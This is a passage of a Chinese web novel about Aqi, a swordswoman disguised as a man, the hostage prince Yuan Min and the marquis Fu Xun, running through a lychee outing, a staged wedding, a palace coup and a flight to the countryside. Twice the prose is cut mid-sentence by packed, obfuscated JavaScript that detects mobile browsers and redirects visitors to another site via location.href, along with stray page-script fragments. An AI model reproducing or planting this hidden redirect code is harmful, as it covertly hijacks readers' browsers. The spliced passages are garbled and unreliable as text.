灼热的感觉从指尖一路传到心房,再扩散到四肢百骸,激得她全身一颤。 . 苻洵勒住缰绳,看向前方掩藏于林荫山坡的小径,唇角扬起微笑:“公子,舞阳山到了。” 阿七还沉浸在扬鞭策马的快意中,听他出声才回过神,礼貌地躬身微笑致歉。 苻洵了然:“看得出来,公子爱骑快马,不喜乘车。” 荔枝是浅红透绿的,颗颗圆润,如虬珠垂挂在密叶之间。阿七纵身跳上树顶,轻盈地穿梭在枝桠间,片叶不沾身,挑拣饱满个大的一串串。 “最好连着枝叶,成串摘下”,苻洵在树下健步如飞,解下披风摊开在两臂间,接住她扔下的荔枝串,“离了枝叶不到半天就不鲜了。” 阿七想到元璟那张挑剔的嘴,感激地端详着树下之人。 她五岁拜入元璟门下,日夜练习武艺至今,元璟曾说她青出于蓝,论轻身工夫、当世能超过她的,一只手都数得过来。但无论她跳到哪,扔荔枝串有多随意,苻洵总能如影随形,并且稳当接住果串。 他的轻身工夫极好,至少不逊于她。 如是想着,身形飘飞得越来越轻盈敏捷,摘扔果串的速度也越来越快,直至苻洵在树下说:“够多了。” “一日色变,二日香变,三日味变,四日色香味尽去”,苻洵寻了块草地歪歪坐下,整理着披风中的荔枝,“吃多了上火,这些荔枝够你们吃四五天了。” 阿七在他对面坐下,拨弄着荔枝分成四堆。 “这堆最大的给你,这么远跑一趟、劳苦功高。” “这堆带回质子府,给我的下……朋友们。” “这堆给师父,他口味刁钻,最多吃两天。” 苻洵眼里漾着笑意,看她埋下头专注地分配劳动成果,指向那堆精挑细选、颗颗又大又饱满的:“这堆,应当给咱们功劳最大的阿七公子。” 阿七摇了摇头:“这堆带回去给四殿下,他从没吃过刚摘下的鲜荔枝。” 苻洵的笑意凝固了。 默了半晌,凉凉地说:“你还真是……对这位主上尽心竭力。” 阿七抬眸,发现他正定定注视着自己,忙垂目飞快避开视线,轻声道:“士为知己者死,理应如此。” “分明是女为……”,苻洵嗤笑着脱口而出,旋即收住话头,带着难掩的失望,“除夕夜的打铁花,好看吗?” 阿七两耳嗡的一声,绞尽脑汁去回想除夕夜,脑海却像腾起浓重雾气,透过雾气掠过无数画面,模糊而破碎、次序颠倒混乱,她想了一阵,蹙眉摇摇头:“侯爷赎罪,在下实在不记得了。” 苻洵脸上的笑容消失了,难以置信地睁大眼睛,声音有些颤抖:“你都忘了?” 阿七莫名心虚,又搜肠刮肚想了一番,疑惑而愧疚地看着他:“抱歉……可否提示一下?” 苻洵一双桃花眼目不转睛盯着她,又旖旎又缱绻。看了半晌,上半身慢慢前倾,面庞越凑越近,同时抬臂伸向她脑后,却停在距她后脑勺半寸之处。 他的脸颊是温热的,近得即将贴近她的脸,能感知到拂过脸颊的呼吸,温热潮润的、带着醇厚的木香。柔柔的痒弥散开来,她整张脸都被吹拂得又酥又麻。 她心跳得像擂鼓,喉咙滑动咽下一口唾沫,双颊似被烈火烧灼,瞟了一眼他的脸,忘记了呼吸和推拒。 双唇即将触碰时,他忽然轻笑一声,坐正上半身,同时收回了手:“抱歉,跟姐姐开个玩笑。” “是公子”,她忙不迭纠正,垂下眼帘不敢再看他,揉了揉发烫的脸,沉默着捏紧一枚荔枝,干笑两声,“侯爷真会开玩笑。” 苻洵苦笑着摇摇头:“好,是公子。”然后,抽出几个色彩各异的布袋,开始分装荔枝。 浅金色袋子装元璟的,蓝色袋子装她带给飞廉的,白色袋子装给元旻的,轮到他自己时,她提议道:“红色吧,红色很衬你。” 苻洵似笑非笑,目如春水波光流转、斜斜瞥了她一眼。旋即,选出一个难看透顶的绿色袋子,将剩下那堆荔枝全部兜了进去,递给她。 “送你了,爱吃就吃,不吃喂狗。” 阿七:“……” . 丹红的果子盛进琉璃盘,盘底垫着碎冰,摆放在书案上,扑面而来沁人心脾的清甜。 元旻有些诧异:“好容易得闲,跟九叔去踏个青,倒惦记着给我带吃的?” 阿七笑得眉眼弯弯,语气轻快:“自然是记得的,十几年都是这样。” 元旻会心一笑:“是啊……十几年一直这样。” 元璟自从收阿七为徒,不仅时常入宫指点,更是一觑得她有空,就带她出去在昇阳四处闲逛,尤其是热闹的西市。那里的新鲜玩意数不胜数,每次阿七总会买双份,自己一份、带给元旻一份。 那些粗糙却生动的瓷猴、糖画、面人、泥塑大阿福……点缀着他无数个挑灯夜读的枯燥夜晚。 元旻眉眼带笑,拿过一枚饱满圆润的荔枝,举到眼前端详,笑容僵住了。 一缕若有若无的,不属于荔枝本身的醇厚木香。 阿七见他动作停顿,忙拿起另一颗,替他剥出洁白剔透的果肉:“殿下恕罪,忘了让她们剥好再送来。” 元旻深深看着她,许久之后轻声道:“你是否想过,以后要与怎样的男子成婚?” 阿七动作一滞,艰涩摇了摇头:“从未想过。” 元旻弯了弯唇角:“可这世间的大部分男男女女,总有一天会成婚。” 阿七的心跳突突,鼻子发酸,赶紧低头放下一粒剥好的荔枝,嗓音低哑而坚决:“如果殿下需要,阿七可以一辈子不成婚。” 走出书房,一钩下弦月挂在梧桐枝头,皎洁无暇、遥不可及,洒下的光也是冷的。 回质子府之前,元璟让阿七第二天继续陪他出门,阿七没那么迟钝。 从书房回朝晖堂后,她思忖半晌,去井台提了几桶凉水,又从冰窖凿下些碎冰块,混在一起装进浴桶,爬进浴桶、浸满足足一个时辰。 当天后半夜就发起了高烧。 梦里全是些混杂不清的场景,大部分是皎洁纯白的:东栏梨花白胜雪,庭前海棠香雾月,她跟在那道纤尘不染的白色背影后,牙牙学语、读书认字、习武、奔走四方……她亦步亦趋跟在后面。 小部分是浓墨重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981223|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩的红,模糊的、破碎的画面,银红的衣、乌黑的发、无垠的原野、自由洒脱的风…… 那色彩鲜明的红极有侵略性,凶狠地扩散开来,渗入洁白无瑕的梦境。她在惊惧中醒来,汗水浸湿头发和中衣,黏糊糊的十分难受。 这一高烧便是五六天,元旻来看过她一次,表情似欣慰又似担忧:“好容易闲暇几天还发烧了,想来平时太累,等病愈莫要再操心别的了。” 元璟几乎每天都来看她,等她神志清楚,深深注视着她双目,幽幽道:“为师并非想要个什么结果,不过是借此告诉你,这世间的好男儿多得是。” 阿七佯作听不懂,无奈地想,又多了一个知道自己是女儿身的人。 其实他知不知道已无所谓了,元旻让她近期喝药水恢复嗓音,在院中改穿女装由春羽规训仪态。步从容、立端正、揖深圆、拜恭敬……她过去十八年的男儿生涯,推倒重来。 元璟最近越来越忙,他作为联姻使来荣国操办婚事,时常要与元旻同时出入宫禁和高宅。 阿七眼下只剩这一桩事,每日训练完成后,都去附近康平街的一条巷子深处喝酒。这家酒馆专卖各种淡酒,青梅酒、冰雪酒、三花酒、错认水…… 她想喝得微醺,昏昏沉沉什么都不思考。 却不也知道为何怅惘。 . “新出的荷叶酿”,面前酒盏被倒满琥珀色淡酒,许久未见的苻洵在她对面坐下,身穿一袭海棠红直裰,“味淡,有荷叶香,试试?” 他皮肤细白如瓷,穿红十分好看。 目光缓缓扫过她发髻钗环、身上的襦裙,他双眸漾起笑意:“现在,可以叫你‘姐姐’了么?” 他们安步当车,并肩走在灯火通明的西市,苻洵在一家脂粉铺停下:“家嫂生辰将至,英平郡苦寒,在下想捎些合用的女子物什,聊表孺慕,劳烦姐姐替我掌眼。” 阿七说:“我当了十几年男子,更不懂这些。” 苻洵拿起一瓶香露递给她:“这个如何?” 阿七接过,嗅了嗅鼻子,极清甜淡雅的花木之气,五脏六腑都变得清透了,她欣喜地问:“素馨?” 苻洵含笑点头,对掌柜说:“两瓶分开装。” 阿七连忙掏钱:“刚刚你请我喝酒,我理应投桃报李。” “……”苻洵愣了半晌,尴尬地轻咳两声,艰涩道,“拿着礼物送不出,这可是头一遭。” 推来推去半晌,掌柜压根不接阿七的钱,最后还是苻洵付了钱。 走出店门时,苻洵又说:“还有一事劳烦姐姐,寒舍建成不久,花木园景尚未完善,姐姐既师从襄侯,可否替在下参详参详?” 阿七回首看了看质子府的方向,有些迟疑。 苻洵顺着她视线看去,唇角勾起一丝讥诮:“他们最近很忙,顾不上你。” 二人漫步走了大半夜,直到灯火渐稀,漫天星辰,果然没遇到出来寻她的人。一直走到城东庆云巷,她抬头看向正大门牌匾上,四个瘦劲挺拔的篆体。 “洛川别苑?” “洛川不是在翊国境内么,此宅为何叫洛川别苑?” 苻洵侧过头,目不转睛看着她,眼神温柔而缱绻:“因为我在洛川之畔,遇到了一个很重要的人。” 阿七绞尽脑汁回忆半天,确定自己不曾在洛川遇到他。被如此目光看着,她突然浑身不自在,双颊热辣辣地烧起来,直烫到耳根,赶紧匆匆施了个不甚标准的敛衽礼,落荒而逃。 “在下也不是很懂,侯爷不如择日将图样交与师父。” 她走得很急,甚至忘了等他安排车马相送。 苻洵目送她远去,唇角轻轻翘起,眼眸微微发亮,似欣喜似落寞。 “忘了也没事,一点点喜欢对我已经足够,我们以后日子还长、可以慢慢相处。” “我不会让你夹在元旻与我之间为难,等我。” 14. 山雨欲来 金黄的木香花谢了,火红的榴花又开满城,榴花未谢,又开始飘散清雅的芙蕖香。 苻洵来质子府的次数变得稠密,他往往在亥初才来,不走正门进前堂,直接从后门入朝晖堂前厅。 阿七经常与他不期而遇,他往往极客气地躬身长揖,礼数周全而疏离,擦肩而过时也目不斜视,好似两人只是寥寥数面的点头之交。 那些鲜明的红,一天天在梦里记忆里淡去,阿七甚至怀疑那是记忆偏差的错觉。 光阴匆匆流转,质子府的人来来往往,道贺的、宗正寺的、使团的、丞相府的…… 质子府外,荣国风云变幻。 四月中旬,在高伯周与其党羽坚持不懈的积毁销骨下,禁军统领杨贞吉被夺职幽禁家中。 那位统领王城禁卫二十余载的老将军卸下甲兵上交令符时,瞥见殿上站在一起的元旻和高伯周,眼神怨毒盯了许久,仰天大笑出门去。 苻治站在高台上,看着渐行渐远的老臣,也是他曾经的岳丈。第一次感觉有些怅惘,深深的无力感压得他直不起腰。 然而,他同他的荣国也一样,再无退路。 求和与征战如两条截然相反的道路,对于这样的积弱小国而言,一位国君终其一生,也只有机会踏上其中一条道路,无法折返。 还好,国库的财帛和米粮在逐年增多,治下民众总数在逐年增加,戎陵山脉开出的铁矿与日俱增,他的国家在变好。 不过一时卧薪尝胆,如此发展下去,总有直起腰杆的一天。 . 元旻坐在朝晖堂东院,看阿七头顶着装满水的茶杯走来走去,姿态若有不对,春羽便拿着木尺上前轻轻一敲。 天权从渝安郡传来线报,郡内远离道路的村落,所有青壮劳力齐齐消失,只剩老弱妇孺,春荒之时十室九空。 珪山以东,蓥山南端分作四脉、与长流川阜门水道相隔约二十里、荒无人烟的山坳里,常有成群飞鸟惊起。夜晚,饿得眼晕的人们总会看到有车队、押着满满粮食消失在深山,曾有人迷路走进那些山坳,却再也没出来。 在夜幕遮掩下,桃源酒楼的后门,天权站在高处望风,云飞燕盯着十几名黑衣人将捆好的刀枪、弓箭、铠甲、伤药一一搬出,装上等候在街道的二十几辆空马车。 最后一辆马车装满后,云秉奕双膝跪地,长长叩首:“母亲保重,孩儿此去,必定为我们的云家搏出个拜将封侯。” 云飞燕含泪,扶起亲子,重重点头。 天权也飞身下来,对云飞燕长揖道谢:“最后一批物资已装好,卑职奉命即将撤离,多谢夫人数年照拂。渝安郡兵乱将起,夫人请尽早变卖固产,远遁避祸。” 云飞燕问:“可遁往何处?” 天权极目北望:“英平郡,镇安。” 语罢,与云秉奕翻身上马,十几黑衣人紧随其后,车队在黑暗中悄无声息地驶向东南。 大渡口,梅老板合上双目,感受着逐渐微弱的东风,他身侧的长流川上,千帆待发。 . 四月下旬,左右支绌的苻治突发头风,辍朝多日。王后高氏侍疾病榻,不离左右,高伯周长居丞相府辅理朝政,五月初八才离宫归家。 那是个深夜,他刚走到大门口,北城兵马司忽将高宅团团围住,枪戟林立、铠甲森寒。 卫兵身后走出两名少年,一名身着玄甲、腰系胭脂红锦带——现任五城兵马司大统领苻洵,而另一名个头稍高、银甲素衣的,正是他那即将过完六礼的女婿——元旻。 元旻缓缓从刀剑丛林中走出,面无表情,眼神带着见惯厮杀的漠然。 真奇怪,以前那个总是在宫宴上醉眼迷离、鼓瑟吹笙、卑微优柔的翊国质子是谁?他在勾心斗角中算计了半生,竟也看错了人,可笑的是自己,居然一直认为元旻不过盛名之下其实难副。 那令人闻风丧胆的大翊昭王属意的继承人,怎可能如此无能? 元旻慢慢走上前,对他躬身长揖:“晚辈前来,一为替高家指一条生路,二为向高大人求一个恩典。” “求高大人,签下此和离书,婚仪之后,允晚辈元旻与令嫒一别两宽。” 他身后的苻洵猛然抬头,眼瞳急遽收缩,死死盯住他手中的和离书,牙关紧咬,手指张合、用力攥紧了别在腰间的刀。 . 五月初九,灵昌护城河芙蕖连天。 苻洵站在河畔,远眺揣着书信的骑士向北绝尘而去,又静静注视着河中大片的芙蕖。许久之后,翻身上马,直奔灵昌城北质子府而去。 阿七坐在房中,看着镜中的自己,哀声叹气,只觉得自己这辈子都没这样累过。 净面、开脸、敷面脂、扑上紫茉莉粉、再用刷子将胭脂在双颊、眼尾晕开,螺黛在眼睑边缘勾勒上挑、再沿着原有眉形描画出远山。 以丹朱在额心画出桃花,然后在两颊贴上金箔,最后拿出一张胭脂纸置于唇间轻抿。 眼看妆娘在收拾瓶瓶罐罐和刷子了,阿七松了口气。 然后,妆娘又打开一排梳子,一匣子簪、钗、华胜、步摇,笑道:“娘子好相貌,脸上的好了,可以开始挽发髻了……” 阿七欲哭无泪。 慢慢站起身来,正红色婚服金线迷离,长裙曳地,裹在贴肉处的垫层捂得她快热窒息过去。 走动间,总觉得垫在胸前和臀部的四个棉团要往下掉。她自然知道那是缝在外袍上的,不会掉落,心里却还是觉得很悬。 如此妆扮,只能以春羽规训的行走礼、小碎步款款走出。 槅门轻启,候在院中的元旻转过身来,霎时双眼一亮。 眼前的女子肌肤胜雪、眉似远山、眸凝春水、面若飞霞、朱唇微启,含羞带怯款款走来,走到他面前屈膝敛衽,温婉一笑,柔声细语:“像吗?” 元旻如梦初醒,笑道:“身形仪态已颇为相似,面貌不像也不打紧,到时有步摇冠、有雉羽扇、出门时还要盖一层薄纱,婚仪上的妆容颇重,基本看不出来。” 又问:“长鞭和软剑都带好了不曾?” 阿七抚了抚腰间,回复说:“带着了,只怕这身吉服累赘,不便施展。” 元旻摇头宽慰:“里面有穿别的,到时这身吉服不要也罢。” 阿七点头,觑着他脸色试探问:“可以戴别的在头上吗?” 元旻柔和的表情一僵,淡淡道:“随你,头上已有那么多簪子,若藏得好,不留心也看不出多了根。” 阿七喜不自胜,忙从袖中取出芙蕖簪,如珠如宝地戴上。 元旻移开目光,温声叮嘱:“门房都支了榻的,夜里还是靠着歇歇,春羽备些糕点给她带着,晚上充饥。” 扮作质子府侍婢的天璇天玑,一人拿着沉重的步摇冠,一人扶着阿七走向后院。 夜幕已初初降临,两侍婢扶着满头珠翠、颤巍巍的她从后门走出,扶上候在门口的马车,向高宅驶去。 无人发觉,院墙伸出的干枯梅枝下,满墙蔷薇藤的后面,身穿缃色薄衫少年站了许久,目光灼灼注视着那凤冠霞帔的美人。 直到马车远去,他依然怔怔地望向空荡荡的街道,不愿离去。 . “建业侯求见!” 元旻还未开口,缃色薄衫的少年已笑容满面、大步流星走了进来,长揖道:“恭贺殿下婚期将近,大事将成。” 元旻一边为他斟茶,一边笑着说:“多谢建业侯鼎力相助。” 苻洵笑容未变: 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“她不是随手打赏的物件,本宫做不了她的主”,元旻死死盯着他双目,唇角笑意渐冷,带着嘲讽,“听闻建业侯去年在倚翠楼为佳人一掷千金,孤身二字从何谈起?” 苻洵郑重道:“不过爱屋及乌……在下若得仙子垂青,必散尽姬妾、一生一世一双人。” “换个人吧,出身更高贵、品貌更好,甚至是父王嫡亲的女儿”,元旻神色晦明莫辨,语气带了几分恳求,“或者换个条件,你可以为英平郡公争取更好的邦交条件,粮草、矿石、布帛,甚至兵器甲胄……还可以是别的,届时国君私库任你挑选,全拿去也行……” “什么都好谈,除了她。” 苻洵静静注视着他,忽然笑出声来,笑得双肩抖动:“好个胸怀磊落的四殿下!” “她对那支芙蕖簪视若珍宝,日日佩戴,却连在外多待片刻都频频回望贵府,不敢与我多说一句话,好个做不了她的主!” “殿下不如坦荡些直说,我喜欢的、你也喜欢。窈窕淑女,君子好逑,咱们各显神通博取佳人芳心,公公正正比试一场。” “神通?花街柳巷、擅风弄月,上不得台面的勾栏手段?”元旻双手紧握成拳,微微发颤,冷然笑道,“本宫若心悦一人,必对其悉心养护、关怀备至,待得时机成熟再三书六礼、明媒正娶,而非以此轻浮之举,撩拨亲近。” 苻洵的桃花眼波光流转,玩味地一瞥:“好个高洁的端方君子,子非鱼焉知鱼之乐?” “你所倚仗的,不过那支芙蕖簪”,元旻定定看了他片刻,忽然笑了,“好教建业侯得知,本宫并未告知她是何人所赠,只怕她如今还以为是我。” 苻洵笑容消失,几乎霎时僵住,片刻之后却笑得更大声:“原是如此,殿下当真以为她日日佩戴是因为喜欢?不过是尊者赐、不敢辞,与那些臣子摆案焚香、日夜供着御赐之物也并无两样。” 不待元旻开口,苻洵又冷声质问:“殿下久居高位,怎知那不是她敬你、畏你、万事以你为先、莫有拂逆的臣下之心?” “何况殿下母子待她恩重如山,莫说只是赠她簪子,即便是即刻要了她的人、要了她的命,她也绝无半个不字,你可敢试试?” “你敢吗?” 语罢,转过身大步流星,不辞而别。 元旻松了口气,按在剑柄上的手缓缓放下。 慢慢踱步到后院,听见湖畔传来阵阵嬉闹。只见石亭之中,元璟被一群婢女簇拥在中间,左拥右抱。女孩子们争先恐后挤到他面前,他手执一支鼠须笔,蘸了颜料,眉眼带笑,依次在对方额上画出各异的娇美花钿。 元旻看了许久,攥紧拳头剧烈颤抖,眼眶慢慢变红、泛起泪花,低声喃喃:“花街柳巷……擅风弄月……勾栏手段……” 15. 贺新郎 五月初十,亲迎大礼。 阿七躺在高府门房彻夜未眠,天璇天玑正替她收拾垂散的几绺发丝,又在她的黑眼圈上盖了层粉。戴上步摇冠、串串金珠穿成流苏垂至下颌,再盖上一层银红薄纱。 她抬手,将金翠交织的雉羽面扇举起。 双手有些发颤,不知是害怕还是激动。此时此刻,她仿佛真的只是坐在闺房,等一场盛大的婚礼。 鼓乐齐鸣、笙歌鼎沸,迎亲队伍越来越近,哄笑声、高呼声、推搡声,大门口人声熙攘。 小门忽然打开,阳光瞬间涌入,她立马走出去。同一时刻,衣饰与她完全一致的高舒月错身闪进来,交换完成。 在喜娘的指引下,她端庄执扇、款款跨出大门,正欲继续走下台阶,一双手抓住她长裙后摆,迅速绕了几圈、缠住她双鞋。 紧跟着,她感觉自己身体一轻,清雅的沉水香环住了她,她已被人打横抱起。 围观者哄堂大笑。 元旻面不改色,抱着她径直走向花轿,天璇、天玑早已分开轿帘,只待元旻躬身将她放入,便迅速合上。 迎亲仪队吹吹打打、行至西安门,骑马者下马、乘车者下车,用御辇抬进去是王后品阶的特权,一行人只能步行进入喜堂。 阿七正迟疑着如何下去,轿帘被掀开,元旻再度躬身将她打横抱起。 过三道宫墙,跟随着仪仗走过正殿前的空地,右转,再过两道宫墙,再往外右转,走向丞相府正门。 好体能! 熟悉的气息和体温环绕着她,阿七双颊绯红、双手颤抖、心跳如擂鼓,张了张嘴却不知说什么。 “荣国风俗,新嫁娘从出家门到进喜堂,脚不沾地,你想漏出破绽么?”元旻脚步不停,借雉扇遮掩,低声耳语,将她的话堵了回去。 一路行来,没有任何掩体遮挡,禁卫分列两队,约三五百人,个个披坚执锐,一看便知是以一当十的好手。 阿七暗自盘算着,到时如何从这么多好手中脱逃,元旻再次低下了头。 “到时紧挨丞相府的这道门会被关上,我们出丞相府大门后直接左转,上驰道、从安门出……到了。” 阿七心下稍定,已被轻轻放下,站在柔软的红色地毯上。转身时,她从扇面的间隙瞄了一眼正堂。 正襟危坐、居于主位的,是苻治与元璟。 一段红色姻缘绸,新郎新娘各一端,永结良缘。 一拜天地,一叩拜谢天造一对佳偶,二叩拜谢地结金玉良缘,三叩拜谢天地共证此结发; 二拜高堂,一叩拜谢父母生育教养,二叩拜谢师尊亲长操劳,三叩拜谢异国君王不杀恩; 夫妻对拜,一叩拜今结发比翼双飞,二… “哐当!”琉璃杯被狠狠掷下,四分五裂。 铁靴奔驰而来的踏地声如雷鸣,转瞬已至殿门,枪尖朝内、刀锋凛凛。 门外有人高呼“诛杀奸相妖后”,而后更多人开始高声呼喝,那声音汇成泱泱大海,同频同振,震天动地—— “诛杀奸相妖后!” 手持长戟的队伍哗啦啦一阵响动,似水一般、从正中自动分开一条通途。 身材巍峨的老将身披重甲,手执长剑走过枪戟丛林,一步步走上大堂,跪下高呼:“臣杨贞吉,请陛下诛杀奸相高伯周、诛杀妖后高氏!” 门外兵士长枪整齐地一下一下跺地,一声又一声高呼:“诛无赦!” 苻治冷冷看向堂下,一字字满含愤怒:“杨贞吉,你果真要谋逆!” 杨贞吉一愣,大堂忽垂下无数绳索,藏身房梁的密卫轻快晃荡着,一瞬之间已降落下来。 阿七听身侧元旻低喝:“就是现在!” 几乎同一时间,元旻扯住她吉服左边领口,天玑扯住她吉服右边领口,牵着裙子后摆的天璇一跃而起。 寒芒毕现、短刀裂帛,先纵向割开从后颈到腰臀以下、再贴地横向撕开曳地后摆。元旻、天玑、天璇三人各执一侧用力一撕,吉服顿时四分五裂… 阿七双足踢开垂落的裂帛,旋身跃起,左手抓住步摇冠一把扯落,右手从腰间抽出长鞭用力甩出,再翻腕往左一卷,扬鞭卷住主位上的元璟,拉至身前,低呼:“走!” 拉起元璟,紧跟在元旻身后,疾步奔向大门口。 丞相府前小广场上,杨贞吉策反的禁卫军臂系白色布条,与苻治的心腹密卫正缠斗不休,通往北宸殿的宫门内犹有源源不断的兵士涌入,不知是禁卫军还是密卫。 元旻挥剑割开一名枪兵咽喉,高呼:“九叔接剑!”右手抛出长剑,纵身一跃,抢过鲜血喷射的士兵手中长枪,双手抡了个圈,用力往左一送。 元璟接过还在滴血的长剑,舒臂挥出,杀退身后追来的禁卫,与阿七一前一后、将天璇天玑护在中间,且战且退杀下台阶。 屋顶等候多时的开阳率十多名剑客飞身跃下,挡在元璟与追兵之间断后。 阿七见开阳已到,于是对天璇天玑道“自己当心”。 拔出腰间软剑,三步并做一步奔向前方开路的元旻,寸步不离他后背防守空虚之处,为他杀退偷袭的侍卫。 元旻满脸染血、面无表情,手持长枪腾挪跳跃;阿七与他背向站立配合,敏捷如燕、软剑划过之处血喷如注。 禁军被他二人震慑,竟迟疑着不敢上前。 觑得机会,元旻高呼:“上驰道!” 元旻与阿七开路,天璇天玑、元璟被居中保护,开阳断后,一行人一边拼杀一边顺驰道向安门飞奔。 跑到距离宫门约百丈之处,听得见迎面越来越近的马嘶人沸,同时传来武煊的高呼:“都上马!” 武煊和先头十多名兵士每人骑一匹、手里牵一匹高头大马,身后跟着约五六十名骑兵,手持弯月刀一路切瓜剖菜,杀出一条血路,顺驰道策马飞奔而来。 从丞相府杀出的十几人立即纵身上马,调转马头,扬鞭冲向宫门。 奔至安门外侧,苻洵已率五城兵马司等候多时,靠近宫墙一侧有弓箭手分为三队,各自拉弓满弦。 追杀的禁军堪堪行至宫门,苻洵唇角闪过一抹冷笑,举手重重挥下。 飞矢如雨,万箭齐发! 他们出来了,苻洵快步过去拦在马前,元璟见状赶紧翻身下马,其余几人也紧随其后,对苻洵连连道谢。 众目睽睽下,苻洵清亮的双眸满含欣喜和关切,一瞬不瞬盯着阿七:“襄侯、公子……殿下可还安好?” 阿七正不知如何应对,元旻却已牵住她的手,脸色阴沉,径直走向苻洵。 说时迟那时快,他迅速伸手,从她头顶拔下那支芙蕖簪,当着苻洵的面、狠狠掷下。 用仅三人听得见的声音,一字一字道:“你?也?配?” 然后,径直走了过去。 从头到尾,没正眼看过苻洵一次。 阿七不明所以,歉疚地瞥了一眼苻洵,张张嘴正要说什么。元旻已飞身跃上马背,扬鞭而去,其他人也紧随其后。她只好立即上马、紧紧跟了过去。 离宫门越来越远,才逐渐回过味来,愕然看向元旻。 元旻转头看向她,挤出个微笑,温声说:“是我行事不周,一开始没跟你说清。” 一行人纵马冲进质子府,仆婢已全部散去,只剩春羽守着分成一个个包袱的一大片行李守在前堂。 阿七偏头看了一眼元旻,他点头应允。于是她扬声安排道:“飞廉听令!” “开阳、天璇、天玑,你三人与武煊一道,护送襄侯、春羽至枞阴。” “天璇、天玑随武煊一路,务必引导武煊麾下将士走出戎陵群山,顺利送到洛京,再藏兵于崇山。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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阿七已欺近他身前,电光火石间,她双臂在胸前交错一瞬、大阖大开挥出,左手短刀、右手长鞭,一刀一鞭毫不迟疑、狠狠落到实处。 弓箭手转身就逃,阿七提了提身子正要追,元旻在树下低喝“不可恋战”。 于是,阿七在空中旋身、转向,落到马背上,同时右手一提缰绳,随元旻直奔洪棱而去。 二人已骑马远去,激起的烟尘也已尘埃落定。 打斗的位置,弓箭手从树上降下,痴痴看向他们远去的方向,亮如朗星的双眸里,有不甘、有嫉恨、有错愕、更有无尽伤悲,最终化作两眶眼泪。 . 积骸草木腥,血流川原殷。 激战一天的灵昌,已尸骸如山、流血漂橹。铁靴踩着黏稠的积血,踢开前方横陈的骸骨,晃晃悠悠,走进一条窄街。 第一鞭先抽上左手手背,而后绕腰背半圈,第二鞭的鞭痕与剑伤分别从左肩、右肩斜斜贯穿而下,直至右腰和左腿。 也许是她之前在王宫打斗得太久、气力不支,他身上伤得并不深。 这是她留给他最后的痕迹。 苻洵从前厅一路走到朝晖堂,走到东院,再走出来。绕到后院,从后门出去,抬头往上看。 质子府空荡荡的,寂夜无声。墙头之上,唯有几树光秃秃的枝桠张牙舞爪,指向天空中泛红的凸月。 他看了半晌,踉踉跄跄走向巷子口,在空荡荡的街头转悠,一直走到后半夜,康平街、子午大街、东大街、庆云巷……抬头看向正大门牌匾上、四个瘦劲挺拔的篆体——洛川别苑。 合眼的瞬间,两颗泪珠滚落。 “我曾在洛川之畔,遇到一个很重要的人——” “就是姐姐你啊。” “我等了你一千八百多个日夜。” 16. 乡野夫妻 荣国永兴五年五月初十,前禁卫军大统领杨贞吉谋大逆,于宫禁之内、丞相府前堂当庭伏诛。 而在之前的五月初五,叛贼苻钊已拔营出发,挥师灵昌。一路经定远、遂州等地势如破竹。而从渝安到灵昌一路大部分驿站早已被蓄意损毁,竟连军报也无法传达。 及至五月二十,叛军已至灵昌城下,陪都金阙刺史景樊率军拼死阻挡,各路州府郡县纷纷响应,集结部队奔袭灵昌,于是烽烟四起,国中大乱。 却因远近有异,勤王军队均被叛军设下埋伏,各个击破。 五月二十四,金阙守军败走,叛军强攻灵昌,建业侯苻洵率五城兵马司死守城门,与叛军鏖战一天一夜,不敌,城破。苻洵护送永兴王苻治与王后高氏出城避祸,被叛军冲散,永兴王与高后均薨于乱军之中。 王位即将易主之时,西北方向旌旗招展,骑兵飒沓如星,旌旗上书“英平”。 五月二十五,距王都最远的英平郡公苻沣率一万骑兵,合并其他州郡勤王残军,与苻洵内应外合,斩匪首苻钊,剩余各匪兵流散四逃,于是叛乱初平。 是夜,苻沣敛先王及高后遗骸于北宫,踌躇之际,金阙刺史景樊振臂高呼“此为明君耶!”前丞相高伯周率众臣工应之,推举苻沣为王之声日益高涨。 苻沣推拒,只重新组编军队清缴各地流窜的叛军,这一清理就是近一个月。 . 五月初十黄昏,嘉州三江村,炊烟乍起。 落日熔金,两匹马从官道缓缓走来,卷一身尘泥,人困马乏。 马背上的男女都身量颀长、一身麻布粗衣,男子看起来状态还好,脸上抹着黑灰的女子却不太好,她的左肩有一道极深的伤痕,血已在衣服上结成厚厚的痂。 男子将马匹牵入林中藏好,挎上包袱,扶着女子走出三五里地,敲响了村东头的一户人家。 “晚生冯四郎,不幸遭逢兵患,逃难到此,爱妻褚娘子为流箭所伤,求借住几日,待妻子养好伤就走。” 那男子躬身长揖,秀美的丹凤眼低垂,恭恭敬敬地请求着。 开门的是一对头发花白的老夫妻,鹑衣百结,畏畏缩缩看着两人。老太太眼睛似乎不太好,雾蒙蒙的,看人时凑得很近。 男子看老人迟疑,伸手欲往袖中拿些钱币给老人,被娘子伸手拦住。 小娘子在头上、身上摸索一阵子,从手腕褪下个老旧难看的银镯子,恳求道:“大爷大娘,妾身上只有这件值钱的东西了,求您帮帮我们夫妇。” 老汉眼睛在银镯上盯了会儿,还是重重用拐杖在地上杵了几下:“快走了,我们这不收留外乡人。”转身就去关门。 小娘子的恳求带着哭腔:“爷爷奶奶,只求收留一宿罢。”说罢不顾形象拍着门,泣不成声。 里头隐约传来两人对话。 老太:“是娅娅回来了。” 老头:“老婆子,别想了,娅娅早死了。” 老太带着哭腔:“可她那声儿,分明跟娅娅一样…当年要是有人收留娅娅,也不至于…” 老头叹气:“不是我心硬,这世道兵荒马乱的,你还记得隔壁村老吴家吗,好心收留,那群兵比匪还不如,抢了钱粮、霸占了他们家小媳妇,临走还把房子烧了个干干净净。” 